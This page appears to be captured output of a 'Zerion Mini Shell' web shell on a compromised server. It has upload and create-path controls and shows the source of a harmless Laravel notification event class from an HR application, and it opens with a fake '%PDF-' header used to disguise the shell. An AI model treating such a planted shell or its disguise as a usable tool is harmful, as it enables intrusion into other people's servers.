%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/app/Events/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/app/Events/NotificationSentEvent.php

<?php

namespace App\Events;

use App\Models\Notification;
use App\Models\User;
use Illuminate\Broadcasting\Channel;
use Illuminate\Broadcasting\InteractsWithSockets;
use Illuminate\Contracts\Broadcasting\ShouldBroadcast;
use Illuminate\Foundation\Events\Dispatchable;
use Illuminate\Queue\SerializesModels;

class NotificationSentEvent implements ShouldBroadcast
{
    use Dispatchable, InteractsWithSockets, SerializesModels;
    /**
     * @var User
     */
    private $user;
    /**
     * @var Notification
     */
    public $notification;

    /**
     * Create a new event instance.
     *
     * @param User $user
     * @param Notification $notification
     */
    public function __construct(User $user, Notification $notification)
    {
        $this->user = $user;
        $this->notification = $notification;
    }

    /**
     * Get the channels the event should broadcast on.
     *
     * @return Channel|array
     */
    public function broadcastOn()
    {
        return new Channel("user." . $this->user->channel_id);
    }

    /**
     * @return string
     */
    public function broadcastAs()
    {
        return 'NotificationSent';
    }
}

Zerion Mini Shell 1.0